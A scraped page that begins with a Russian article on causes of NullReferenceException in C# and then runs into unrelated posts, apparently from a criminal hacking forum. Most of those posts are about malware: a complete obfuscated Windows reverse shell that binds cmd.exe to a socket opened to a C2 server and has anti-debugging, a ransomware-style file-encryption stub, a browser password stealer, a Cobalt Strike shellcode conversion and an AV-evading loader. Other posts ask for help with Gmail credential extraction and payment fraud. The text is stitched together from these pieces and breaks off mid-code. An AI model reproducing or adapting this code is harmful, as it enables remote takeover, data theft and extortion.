2. Инициализация поля ссылочного типа по умолчанию.
C:Copy to clipboard
class A
{
private String _name;
public void Foo()
{
var len = _name.Length; // NRE
}
}
var obj = new A();
obj.Foo();
В этом примере поле _name инициализируется значением по умолчанию. На момент вызова Foo поле _name равно null , поэтому при обращении к свойству Length будет выброшено исключение.
3. Результат работы null-conditional оператора (?.).
C:Copy to clipboard
String name = user?.Name;
var len = name.Length; // Potential NRE
Если значение user или user.Name будет равно null , в переменную name также будет записано значение null. В таком случае при обращении к свойству Length без проверки на null возникнет исключение.
4. Результат приведения с использованием оператора as.
C:Copy to clipboard
Object obj = new Object();
String name = obj as String; // unsuccessful cast, name is null
var len = name.Length; // NRE
Результатом преобразования с помощью оператора as будет значение null , если преобразование выполнить не удалось.
В примере выше переменная obj хранит ссылку на экземпляр типа Object. Попытка приведения obj к типу String закончится неудачей, в результате чего в name будет записано значение null.
5. Результат работы *OrDefault метода.
Методы вида *OrDefault (FirstOrDefault , LastOrDefault и т. п.) из стандартной библиотеки возвращают значение по умолчанию, если значение предиката не подходит ни для одного элемента или коллекция пустая.
C:Copy to clipboard
String[] strArr = ....;
String firstStr = strArr.FirstOrDefault();
var len = firstStr.Length; // Potential NRE
Если в массиве strArr нет элементов, метод FirstOrDefault вернёт значение default(String) — null. При разыменовании нулевой ссылки возникнет исключение.
6. Упаковка default значения типа Nullable
Результатом упаковки экземпляров Nullable
C:Copy to clipboard
long? nullableLong1 = default;
long? nullableLong2 = null;
Nullable<long> nullableLong3 = default;
Nullable<long> nullableLong4 = null;
Nullable<long> nullableLong5 = new Nullable<long>();
var nullableToBox = ....; // nullableLong1 — nullableLong5
object boxedValue = (Object)nullableToBox; // null
_ = boxedValue.GetHashCode(); // NRE
При записи в переменную nullableToBox любого из значений nullableLong1 – nullableLong5 и последующей упаковки результатом будет null. При использовании такого значения без проверки на null будет выброшено исключение.
В этом разделе перечислены операции, выполнение которых с null -значением приведёт к исключению NullReferenceException.
1. Явное обращение к члену объекта.
C:Copy to clipboard
class A
{
public String _name;
public String Name => _name;
public String GetName() { return _name; }
}
A aObj = null;
_ = aObj._name; // NRE
_ = aObj.Name; // NRE
_ = aObj.GetName(); // NRE
То же самое — при разыменовании внутри метода:
C:Copy to clipboard
void Foo(A obj)
{
_ = obj.Name;
}
A aObj = null;
Foo(aObj); // NRE inside method
2. Обращение по индексу.
C:Copy to clipboard
int[] arr = null;
int val = arr[0]; // NRE
3. Вызов делегата.
C:Copy to clipboard
Action fooAct = null;
fooAct(); // NRE
4. Итерирование в foreach.
C:Copy to clipboard
List<long> list = null;
foreach (var item in list) // NRE
{ .... }
Обратите внимание, что оператор '?.' здесь не поможет:
C:Copy to clipboard
foreach (var item in wrapper?.List) // Potential NRE
{ .... }
Если wrapper или wrapper.List равны null , всё так же будет выброшено исключение.
5. Использование null -значения в качестве операнда для await.
C:Copy to clipboard
Task GetPotentialNull()
{
return _condition ? .... : null;
}
await GetPotentialNull(); // Potential NRE
6. Распаковка null -значения.
C:Copy to clipboard
object obj = null;
int intVal = (int)obj; // NRE
7. Выброс исключения с null -значением.
C:Copy to clipboard
InvalidOperationException invalidOpException
= flag ? new InvalidOperationException()
: null;
throw invalidOpException; // Potential NRE
В переменную invalidOpException может быть записано значение null. В этом случае оператор throw выбросит исключение типа NullReferenceException.
8. Разыменование значения свойства Target у экземпляра типа WeakReference.
C:Copy to clipboard
void ProcessIfNecessary(WeakReference weakRef)
{
if (weakRef.IsAlive)
(weakRef.Target as DataProcessor).Process(); // Potential NRE
}
Ссылка в WeakReference указывает на объект, при этом не защищая его от сборки мусора. Если объект попадёт под сборку мусора после проверки weakRef.IsAlive , но до вызова метода Process , то:
9. Использование значения поля ссылочного типа до явной инициализации.
C:Copy to clipboard
class A
{
private String _name;
public A()
{
var len = _name.Length; // NRE
}
}
На момент обращения к свойству Length поле _name проинициализировано значением по умолчанию (null). Результат обращения — исключение.
10. Небезопасный вызов обработчиков события в многопоточном коде.
C:Copy to clipboard
public event EventHandler MyEvent;
void OnMyEvent(EventArgs e)
{
if (MyEvent != null)
MyEvent(this, e); // Potential NRE
}
Если между проверкой MyEvent != null и вызовом обработчиков события MyEvent у него не останется подписчиков, при вызове будет выброшено исключение типа NullRefernceException.
Чтобы избежать исключений типа NullReferenceException , исключите ситуацию разыменования нулевых ссылок. Для этого:
Рассмотрим пример:
C:Copy to clipboard
foreach (var item in potentialNullCollection?.Where(....))
{ .... }
Если значением potentialNullCollection будет null , оператор '?.' также вернёт значение null. При попытке обхода коллекции в цикле foreach возникнет исключение.
Если potentialNullCollection в данном фрагменте кода никогда не равен null , стоит убрать оператор '?.', чтобы не запутать разработчиков и инструменты анализа кода:
C:Copy to clipboard
foreach (var item in potentialNullCollection.Where(....))
{ .... }
Если potentialNullCollection может принимать значение null , стоит добавить явную проверку или использовать оператор '??'.
C:Copy to clipboard
// 1
if (potentialNullCollection != null)
{
foreach (var item in potentialNullCollection.Where(....))
{ .... }
}
// 2
foreach (var item in potentialNullCollection?.Where(....)
?? Enumerable.Empty<T>)
{ .... }
Примечание. Добавить проверку на неравенство null — самый простой способ защититься от NullReferenceException. Однако иногда такая правка будет не решать исходную проблему, а только маскировать её. Поэтому при исправлении кода полезно думать о том, достаточно ли будет добавить проверку или нужно исправить в коде что-то ещё.
Кроме достаточно очевидного совета "не разыменовывать нулевые ссылки" есть несколько практик, которые помогут избежать возникновения исключений NRE.
Без использования nullable-контекста значение null считается допустимым для ссылочных типов:
C:Copy to clipboard
String str = null; // No warnings
Начиная с C# 8, в языке появилась возможность использовать nullable-контекст. Он вводит понятие nullable reference types. В nullable-контексте ссылочные типы считаются не допускающими значения null. Например, при использовании nullable-контекста на код, который мы только что рассмотрели, компилятор выдаст предупреждение:
C:Copy to clipboard
String str = null; // CS8600
Предупреждение: CS8600 Converting null literal or possible null value to non- nullable type.
Аналогичная ситуация при вызове методов:
C:Copy to clipboard
void ProcessUserName(String userName)
{
var len = userName.Length;
....
}
....
ProcessUserName(null); // CS8625
Предупреждение компилятора: CS8625 Cannot convert null literal to non- nullable reference type.
Чтобы указать компилятору, что переменная ссылочного типа может принимать значение null , используется символ '?':
C:Copy to clipboard
String firstName = null; // CS8600
String? lastName = null; // No warning
При попытке разыменовать nullable-переменную без проверки на null компилятор также выдаст предупреждение:
C:Copy to clipboard
void ProcessUserName(String? userName)
{
var len = userName.Length; // CS8602
}
Предупреждение компилятора:CS8602 - Dereference of a possibly null reference.
Если нужно указать компилятору, что в конкретном месте кода выражение точно не имеет значения null , можно использовать null-forgiving оператор — '!'. Пример:
C:Copy to clipboard
void ProcessUserName(String? userName)
{
int len = default;
if (_flag)
len = userName.Length; // CS8602
else
len = userName!.Length; // No warnings
}
Таким образом, nullable-контекст помогает писать код так, чтобы минимизировать возможность разыменования нулевых ссылок.
Включить nullable-контекст можно несколькими способами:
У nullable-контекста куда больше возможностей для настройки.
Примечание. Обратите внимание, что nullable-context влияет на выдачу предупреждений компилятором, но не на логику исполнения приложения.
C:Copy to clipboard
String? str = null;
var len = str!.Length;
Компилятор не выдаст предупреждения на этот код, так как в нём используется null-forgiving оператор. Однако на этапе исполнения в коде возникнет исключение типа NullReferenceException.
Статические анализаторы помогают находить дефекты безопасности и ошибки в коде. В том числе анализаторы помогают находить места возникновения исключений типа NullReferenceException.
Пример такого статического анализатора — [PVS-Studio](https://pvs- studio.ru/ru/pvs-studio/).
Рассмотрим пример C# кода, в котором может возникнуть NullReferenceException.
C:Copy to clipboard
private ImmutableArray<char>
GetExcludedCommitCharacters(ImmutableArray<CompletionItem> items)
{
var hashSet = new HashSet<char>();
foreach (var item in items)
{
foreach (var rule in item.Rules?.FilterCharacterRules)
{
if (rule.Kind == CharacterSetModificationKind.Add)
{
foreach (var c in rule.Characters)
{
hashSet.Add(c);
}
}
}
}
return hashSet.ToImmutableArray();
}
Во втором цикле foreach разработчики выполняют обход коллекции FilterCharacterRules , для получения которой используют выражение roslynItem.Rules?.FilterCharacterRules. Оператор '?.' предполагает, что свойство Rules может иметь значение null. Однако если результатом выражения будет null , при попытке перебора null -значения в foreach всё равно возникнет NullReferenceException.
PVS-Studio находит эту проблему и выдаёт предупреждение [V3153](https://pvs- studio.ru/ru/docs/warnings/v3153/).
![1049_NullReferenceException_ru/image3.png](/proxy.php?image=https%3A%2F%2Fcdn.pvs-
studio.com%2Fimport%2Fdocx%2Fblog%2F1049_NullReferenceException_ru%2Fimage3.png%3Fver%3D05-02-2023-11-08-16&hash=2f40832c4eaa71e6d23147b6cf0a9777)
Если items.Rules действительно может иметь значение null , защититься от
NullReferenceException можно дополнительной проверкой:
C:Copy to clipboard
foreach (var item in items)
{
if (item.Rules == null)
continue;
foreach (var rule in item.Rules.FilterCharacterRules)
{
....
}
}
Анализатор не будет выдавать предупреждение на такой код.
Автор Сергей Васильев
источник pvs-studio.ru
Во многие компании требуются разработчики на C++ и других популярных ЯП.
Из этого вытекает вопрос: Сложно ли будет устроиться на работу Rust
разработчику?
Всем привет, кому не трудно поделитесь пожалуйста где можно найти исходники вирусов на С++ (за ранее спасибо)
I program in C/C++, and I wondered how best to get into Malware Development. I am learning the Windows API, amongst other things. (i.e., X86-64 Assembly, Rust, Python). Is there anything I should take a look at or explore more to have a better understanding of how things will work?
Sorry if this is a dumb question. It is just something I am interested in and would love to learn more about
Есть вот такой вопрос, как заменить токен текущего процесса? Механизм дубликации токена процесса имеется, надо как-то вставить его в текущий процесс.
Should I be doing something different, looking at OEP/Offset?
Code:Copy to clipboard
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
name = (char*)sectionHeaders[i]. Name;
printf("Section %d: %s\n", i + 1, name);
if (strcmp(name, ".text") == 0 || strcmp(name, ".rdata") == 0) {
DWORD sectionOffset = sectionHeaders[i]. PointerToRawData;
DWORD sectionSize = sectionHeaders[i]. SizeOfRawData;
char* sectionData = (char*)((uintptr_t)baseAddress + sectionOffset);
Code:Copy to clipboard
const char* targetSections[] = { ".text", ".rdata", ".rodata" };
size_t numSections = sizeof(targetSections) / sizeof(targetSections[0]);
for (size_t i = 0; i < numSections; i++) {
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION((PIMAGE_NT_HEADERS)baseAddress) + i;
if (strcmp((const char*)sectionHeader->Name, targetSections[i]) == 0) {
char* sectionData = (char*)baseAddress + sectionHeader->VirtualAddress;
size_t sectionSize = sectionHeader->Misc.VirtualSize;
encryptData(sectionData, sectionSize);
DWORD oldProtect;
VirtualProtect(sectionData, sectionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
decryptData(sectionData, sectionSize);
UnmapViewOfFile(baseAddress);
CloseHandle(hMapping);
CloseHandle(hFile);
printf("Binary file successfully processed.\n");
return 0;
}
}
UnmapViewOfFile(baseAddress);
CloseHandle(hMapping);
CloseHandle(hFile);
I think I am working backwards
Начал изучать с# и появилась мысль создать десктоп приложение для работы( и
как пет проект потренироваться)
Его суть в том, что бы подключаться напрямую к системе на которой стоит
linux(ubuntu) и нужно иногда заменять файлы в определенному пути на новые.
Потом конечно есть еще идеи по вытаскиванию определенных логов с системы и
сохранять их отдельно.
Подскажите что почитать для того, что бы научить приложение подключаться к
этой системе с введением логина и пароля.
В курсе который изучаю рассказывают про создание окон и базовых настроек этих
окон + дизайн приложения.
Но хочется именно почитать что то связанное с работой приложения с внешними
подключениями.
Создал бота, но не могу сделать кнопки, для быстрого ответа боту. Помогите
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using VkNet;
using VkNet.Model.RequestParams;
using VkNet.Enums.Filters;
using VkNet.Model;
using VkNet.Enums.SafetyEnums;
namespace zkz
{
internal class Program
{
public static VkApi api = new VkApi();
static void Main(string[] args)
{
api.Authorize(new ApiAuthParams() { AccessToken = "Токен" });
while (true)
{
var s = api.Groups.GetLongPollServer(213123412);
var poll = api.Groups.GetBotsLongPollHistory(new BotsLongPollHistoryParams() { Server = s.Server, Ts = s.Ts, Key = s.Key, Wait = 25 });
if (poll?.Updates == null)
{
continue;
}
foreach(var a in poll.Updates)
{
if (a.Type == GroupUpdateType.MessageNew)
{
string userMessage = a.Message.Body.ToLower();
long? userId = a.Message.UserId;
if (userMessage == "приветик")
{
SendMessage("Приветик", userId);
}
}
}
}
}
public static void SendMessage(string message, long? userID)
{
Random rn = new Random();
api.Messages.Send(new MessagesSendParams
{
RandomId = rn.Next(),
UserId = userID,
Message = message
});
}
public static void Buttons()
{
}
}
}
whats the best solution to zero out memory? Other thoughts?
Всем привет. Хочу написать телеграм бота на c++. Пытался найти нормальную либу, но нигде адекватной документации. Может кто нибудь подскажет хорошую либу?
Собственно есть пачка ключей, нужно получить сами кошельки от них массово.
Как по быстрому сделать? Ключей более 100 000 ручками не варик.
Code:Copy to clipboard
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <windows.h>
#include <WS2tcpip.h>
#include <iostream>
#include "xor.h" // find online
#include "LazyImporter.h" // find online
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void call_shell(char* C2Server, int C2Port);
static const std:Confusedtring base64_chars =
_xor_("ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/").c_str();
static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std:Confusedtring base64_decode(std:Confusedtring const& encoded_string) {
int in_len = encoded_string.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std:Confusedtring ret;
while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i == 4) {
for (i = 0; i <4; i++)
char_array_4 = base64_chars.find(char_array_4);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; (i < 3); i++)
ret += char_array_3;
i = 0;
}
}
if (i) {
for (j = i; j <4; j++)
char_array_4[j] = 0;
for (j = 0; j <4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
}
return ret;
}
int IsRunning() // Check if already running so we dont execute twice
{
const char szMutex[14] = { 'L','o','c','a','l','\\','w','i','n','_','a','t','i' }; // some bs mutex
CreateMutexA(0, FALSE, _xor_(szMutex).c_str()); // try to create a named mutex
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
// did the mutex already exist?
exit(0);
return 1; // quit; mutex is released automatically
}
// do nothing
return 0;
}
//int main(int argc, char *argv[])
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, char*, int nShowCmd) // using winMain no window will show
{
if (IsDebuggerPresent())
exit(EXIT_FAILURE);
IsRunning();
if (__argc == 3)
{
std:Confusedtring cumlord = base64_decode((const char*)__argv[2]);
int port = std:Confusedtoi(cumlord);// atoi((const char*)argv[2]);
std:Confusedtring cumlord2 = base64_decode((const char*)__argv[1]);
call_shell((char*)cumlord2.c_str(), port);
}
return 0;
}
void call_shell(char* C2Server, int C2Port)
{
auto base = reinterpret_cast<std::uintptr_t>(LI_FN(LoadLibraryA)("ws2_32.dll"));
LI_FN(base, LI_FN(base, WSASocket)AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (__int8)NULL, (__int8)NULL);
while (true)
{
int x, y, z;
x = 823 * 424;
y = x * 61483;
z = y + x * 9434 / 423;
//memcpy(C2Server, base64_chars.c_str(), sizeof(12 + 28131));
SOCKET sock;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2, 1), &version);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (__int8)NULL, (__int8)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(sock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
{
closesocket(sock);
WSACleanup();
continue;
}
else
{
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(sock, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0)
{
closesocket(sock);
WSACleanup();
continue;
}
else
{
a:
char Process[4] = { 'c','m','d' };
char ProcessExe[5] = {'.','e','x','e'};
char Buffer[] = "";
strncpy(Buffer, Process, sizeof(Process));
strncat(Buffer, ProcessExe, sizeof(ProcessExe));
STARTUPINFO sz_info;
PROCESS_INFORMATION pinfo;
memset(&sz_info, 0, sizeof(sz_info));
sz_info.cb = sizeof(sz_info);
sz_info.dwFlags = (STARTF_USESTDHANDLES | SW_HIDE/*| STARTF_USESHOWWINDOW*/);
sz_info.hStdInput = sz_info.hStdOutput = sz_info.hStdError = (HANDLE)sock;
CreateProcess(NULL,Buffer, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sz_info, &pinfo);
send(sock, "pwnd", 4, 0);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(sock, RecvData, DEFAULT_BUFLEN, 0);
if(RecvCode <= 0)
{
closesocket(sock);
WSACleanup();
continue;
}
if (strcmp(RecvData, _xor_("persistence\n").c_str()) == 0)
{
// do your persistence func.
}
else
{
goto a;
}
}
}
}
}
C#:Copy to clipboard
using IWshRuntimeLibrary;
string filePath = @"C:\Users\UserName\Desktop\Shortcut.lnk";
WshShell shell = new WshShell();
IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(filePath);
shortcut.TargetPath = @"C:\Windows\System32\notepad.exe";
shortcut.Description = "My shortcut description";
shortcut.IconLocation = @"C:\Windows\System32\notepad.exe, 0";
shortcut.Save();
Суть проблемы (а может и не проблемы) проста. Вот уже два месяца учусь в
шараге на ИСП, предмет с программированием ведёт дяденька лет 70 со всеми
вытекающими. Не, мужик нормальный, пытается втулить Нам С#, и вот тут
возникают два вопроса:
A: не пустая-ли трата времени нынче сам С#?
Б: если не пустая, есть-ли какие-то общепринятые способы его изучения вне
учебного заведения?
Также дяденька в шараге сказал, что С# имеет смысл только с преподом. Правда
это иль он уже из ума выжил?
Can someone show, how i convert the beacon shellcode from cobatstrike like msf
shellcode
cobalstrike shellcode
Code:Copy to clipboard
/* length: 892 bytes */
unsigned char buf[] = "\xfc\x41\x51\x41\x50\x52\xac\x3c\x61\x7c\x02\x2c\x20\x41\...........\.......\xc1\xc9\x0d\x41\x01\xc1\52\x20\x8b\x4\x78\.............................\x31\xc0\xac\x400\x3a\xde\x68\xb1";
in msf shelcode model
Code:Copy to clipboard
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31"
Greetings to everyone. I am beginning to learn and understand how process injection work, I have a c# program that simply displays a message box and also createsubkey on the windows registry. I found a program donut that convert a .Net assembly to shellcode and I was able to use process injection technique by @icyguider to inject the shellcode into notepad process but when I restart my windows, the program does not auto run. I have no idea why it doesn't start on boot. I also run notepad to check if the message box will popup but it doesn't.. Before injection it auto start.. Any solution will be appreciated please.. Apologies for my noob question.
шапка
For example, this line code has the tag to add iban to the Facebook payment
method
But now this code has been fixed
We need a java coder with extensive experience with Facebook and their payment
gateway
We will pay a worthy amount to those who work seriously
long-term rent
[Contact TG : @Mrwick86
How work ? escorw or done my job and take money
demo
justpaste.it/dr3u6
adventofcode.com
I don't know if it's popular in Russia, but here you go. I won't explain any
more. I myself have used it for Haskell and OCaml. I code in Haskell + OCaml
btw.
Once you get comfortable with the basics of the language's paradigm + syntax +
standard functions, go for it. It starts in December.
Нужно вытащить вот эту почту:она находится под двумя кнопками и капчей.Капчу решаю(подключил рукапчу), но что делать потом, я не знаю, посмотрел запросы в Network'е, предположения есть, что нужно делать, ноне совсем уверен. Разжуйте, пожалуйста, что, да как надо сделать
Подскажите. Как можно это реализовать? (Вопрос в теме)
нужен софт для извлечения app password из почт gmail
Связь:@shdoc_q
Там нужно ввести ключ
Моожет есть мануал по взлому ?
Интересует ваше мнение касательно рестра? Давно, давно делал реализацию на
шарпах через ярлыки. В рантайме деф не видел. Мне всегда казалось, что рестр
всеми аверами детектится по поведению. Смоотрел нешту 04 года. Там она
загружается через рестр в тех местах, где эксплорер и винлогон прописан, но
юак не пустит.
Что по вашему мнению по лучше будет?
hello my goal is to create a file who search all drive latter's folders and
subfolders and cryptography all files with extensions .jpg, .mp3, .zip
And save the public key to desktop key.txt my code now is
Code:Copy to clipboard
(κανένα θέμα)
hacker tom <hackertomobile@gmail.com>
2:23 μ.μ. (πριν από 2 λεπτά)
προς εγώ
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>
void traverse(const char *dir_path) {
DIR *dir;
struct dirent *entry;
struct stat file_stat;
if (!( dir = opendir(dir_path))) {
fprintf(stderr, "Error opening directory %s\n", dir_path);
return;
}
while ((entry = readdir(dir))) {
char path[1024];
snprintf(path, sizeof(path), "%s/%s", dir_path, entry->d_name);
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
continue;
}
if (stat(path, &file_stat) == -1) {
fprintf(stderr, "Error getting file status for %s\n", path);
continue;
}
if (S_ISDIR(file_stat.st_mode)) {
traverse(path);
} else {
char *ext = strrchr(entry->d_name, '.');
if (ext && (strcmp(ext, ".jpg") == 0 || strcmp(ext, ".mp3") == 0 || strcmp(ext, ".png") == 0)) {
how I use cryptographic operation here??
//
Save key to file on desktop
FILE *key_file = fopen("~/Desktop/key.txt", "w");
if (!key_file) {
fprintf(stderr, "Error opening key file\n");
} else {
fprintf(key_file, "my_private_key");
fclose(key_file);
}
}
}
}
closedir(dir);
}
int main(int argc, char **argv) {
traverse("/");
return 0;
}
Всем привет. Подскажите пожалуйста, есть ли возможность установить значения
отладочных регистров (dr*) в своем одном главном потоке?
Через асм нельзя сделать, потому что привилегированная инструкция
Once I start spam I get around 20k executions from honeypots, I tested all public methods to detect them, everything failed.
Anyone got some idea?
FUD advanced Loader implementing dynamic indirect syscall with syscall number and syscall instruction Unhooking with Halosgate technic. Shellcode in UUIDs format to avoid static analysis, syscall instructions and syscall number don't exist in the binary opcode which makes it avoid static analysis and they get resolved at run time. also it gets the API addresses from the PEB by offsets and the comparison is done by hashing.
indirect syscall implementation, syscall number/instruction get resolved dynamicaly at runtime, and the syscall number/instruction get unhooked using Halosgate technique. Function addre ](https://github.com/D1rkMtr/IORI_Loader)
UUID shellcode Loader with dynamic indirect syscall implementation, syscall number/instruction get resolved dynamicaly at runtime, and the syscall number/instruction get unhooked using Halosgate te...
github.com
Доборого времени суток!
Может кто-то подскажет, вот у меня есть сервер на котором находится папка с
файлами. Мне нужно с этой папки получить название, количество, ну и можно сами
файлы. Каким методом это можно реализовать на C#?
Заранее спасибо.
/del
hey guys, I'm looking for open source tool to convert .exe to .dll, I have tried using a tool that converts to .cs then tried to build as a windows form app but it shows some errors . I'm looking for another method or a open source tool if any
Доброго вечера форумчане, требуется кодер который напишет любое приложение для IOS (хоть тупо чёрный экран с кнопкой донат) добавит внутри игровые покупки, подвяжет платёгу и поставит на App Store. Связь в лс, цены за ваши услуги жду в лс
Зашел на забытую виртуалку
Перепробывал все команды, переустановки, не могу решить эту проблему
Moder. | Если не там тему создал, перемести, дай бог здоровья, спасибо
на 64бит ставлю 32бит пакет. -Apt не находит эти пакеты в кэше
Есть вещь, которая ломает мне голову. Это дисковые пространства в AD сетях.
Вообще, должен признаться, не являюсь специалистом в администрировании сетей, однако, приблизительно могу представить структуру хранения данных в них.
Ок, у нас есть несколько ведер, нарисую табличку:
ПК| Права| Сеть
---|---|---
Юзер Вова| Юзер| Локальная
Юзер Петя| Юзер| Локальная
Админ Валера| Админ Домена| Локальная
Файло-помойка #1| -| Локальная
Файло-помойка #2| -| Внешняя
Если мы посмотрим на мир глазами Вовы, а вернее его компа, то, вероятно, увидим такую картину:
У нас есть права на изменение файлов на дисках:
C => Ситсемный диск
D => Несистемный раздел диска C
E => Файло помойка #1 (пиздец медленная)
Итак, теперь мы хотим начать читать и записывать данные.
На данный момент я использую такую нехитрую схему:
Есть канал, туда поступают таргеты.
Он работет в режиме "первый вошел, первый вышел".
Очевидные проблемы в данном кейсе:
- бесполезно собирать директории из разных разделов одного диска в нескольких
потоках (ок, это можно пофиксить, если привязать точки монтирования к
физическим дискам)
- соотношение скорости получения директорий/метаданных и чтения/записи может
варьироваться от диска к диску, что неизбежно приведет к уничтожению баланса
В данном кейсе оба этих ограничения сыграют роль.
Теперь представим, что мы за компом админа Валеры:
У нас есть права на изменение файлов на дисках:
C => Ситсемный диск
D => Несистемный раздел диска C
E => Файло помойка #1 (пиздец медленная)
E => Файло помойка #2 (еще более медленная)
И на всех остальных дисках в домене, включая те, что смонтированны у Вовчика и
Пети
Тут как бы возникает еще одна вилка: можно делегировать часть I/O операций на
вышеупомянутую парочку или лопатить с одного компа. Но это другой вопрос.
Мы же разбираемся со всеми вопросами от лица одного админа.
Дисков теперь туева куча, суммарная скорость чтения/записи иногда будет
упираться в ограничения ЦП, не забываем про пейлоад.
Ключевое слово иногда. Представим что на файло помойке #2, которая находится
далеко за пределами локалки, скорость чтения составляет 1мб/сек, а также
именно на ней хостятся толстенные csv логи пердежа за 10 лет.
И вот наш пул потоков закономерно забивается и мы тратим кучу драгоценного
времени на мусор, а не снимаем сливки.
Короче, надеюсь кто-то имеет представление о том, как можно получше запилить)
Всем хорошего дня. Начал изучать java, подскажите с каких лучше начать книг?
hi
anyone can help me modify the war package to allow specific cards to not be checked in the DB and respond with positive balance.
Всем привет, нужно скомпилировать проект под разные архитектуры (mips, arm и
тд). Какой самый оптимальный способ?
Сижу на linux.
Собственно столкнулся с такой проблемой:
Мне надо отправить post-запрос на сайт для проверка данных на валид, но они
заблокированы.
Как мне реализовать проверку, без использования BAS и прочего?
Слышал про selenium, webDriver. Какие-то есть правильные решения данной
проблемы?
I developed a chromium+gecko password stealer in C++ but the file size is big
(~1.1Mb) because in order to request and decrypt firefox passwords I need to
use functions provided by nss3.dll:
NSS_Init, NSS_Shutdown, PK11_GetInternalKeySlot, PK11_FreeSlot,
PK11_Authenticate, PK11_CheckUserPassword, PK11SDR_Decrypt
so I need to dinamically load this 64bit dll and my executable needs to be
64bit too. The final size of the stealer between 32 and 64 bit is very
different, if I compile the same stealer at 32bit I get a 700Kb executable
that is more reasonable (but it can't load 64bit dll).
Is it normal to get bigger filesize for a firefox stealer? Usually how is this problem solved?
Привет всем! Я изучаю формат PE файлов и хотел написать функцию, которая будет
рекурсивно перебирать подкаталоги в Resource Directory
Если посмотреть в CFF Explorer, то можно увидеть то что элементов 4
Для этого я написал вот такую функцию
C++:Copy to clipboard
void EnumerateResources(const PBYTE resourceSectionAddr , const PIMAGE_RESOURCE_DIRECTORY entry , int depth = 0)
{
if (resourceSectionAddr == nullptr || entry == nullptr)
{
std::cerr << "Invalid pointer to resource section or directory!" << std::endl;
return;
}
auto directory_entries = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY_ENTRY>(
reinterpret_cast<const PBYTE>(entry) + sizeof(IMAGE_RESOURCE_DIRECTORY)
);
if (directory_entries == nullptr)
{
std::cerr << "Invalid pointer to directory entries!" << std::endl;
return;
}
size_t entries_size = (entry->NumberOfIdEntries + entry->NumberOfNamedEntries) - 1;
for (size_t i = 0; i <= entries_size ; ++i)
{
if (directory_entries[i].DataIsDirectory)
{
std::cout << std::string(depth * 2, ' ') << "Directory ";
if (directory_entries[i].NameIsString)
{
auto dir_string = reinterpret_cast<PIMAGE_RESOURCE_DIR_STRING_U>(resourceSectionAddr + directory_entries[i].NameOffset);
std::wstring name(dir_string->NameString, dir_string->Length);
std::wcout << L"Name: " << name << std::endl;
}
else
std::cout << std::hex << "Id: " << directory_entries[i].Id << std::endl;
auto data_entry_resource_directory = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY>(
reinterpret_cast<PBYTE>(entry) + directory_entries[i].OffsetToDirectory
);
EnumerateResources(resourceSectionAddr, data_entry_resource_directory, depth + 1);
}
else
{
std::cout << std::string(depth * 2, ' ') << "Resource ";
if ( directory_entries[i].NameOffset & IMAGE_RESOURCE_NAME_IS_STRING )
{
auto dir_string = reinterpret_cast<PIMAGE_RESOURCE_DIR_STRING_U>(
reinterpret_cast<PBYTE>(resourceSectionAddr) + directory_entries[i].NameOffset
);
std::wstring name(dir_string->NameString, dir_string->Length);
std::wcout << L"name: " << name << std::endl;
}
else
{
std::cout << "id: " << std::hex << directory_entries[i].Id << std::endl;
}
}
}
return;
}
Код идет корректно до тех пор , пока не сталкивается с директорией IDI_CALC_ICON начинают приходить неверные данные
Не могу понять в чем может быть причина, почему данные не приходят корректно
Вот код в функции main
Code:Copy to clipboard
DWORD RvaToOffset(DWORD rva, DWORD VirtualOffset, DWORD RawOffset)
{
return rva - VirtualOffset + RawOffset;
}
int main()
{
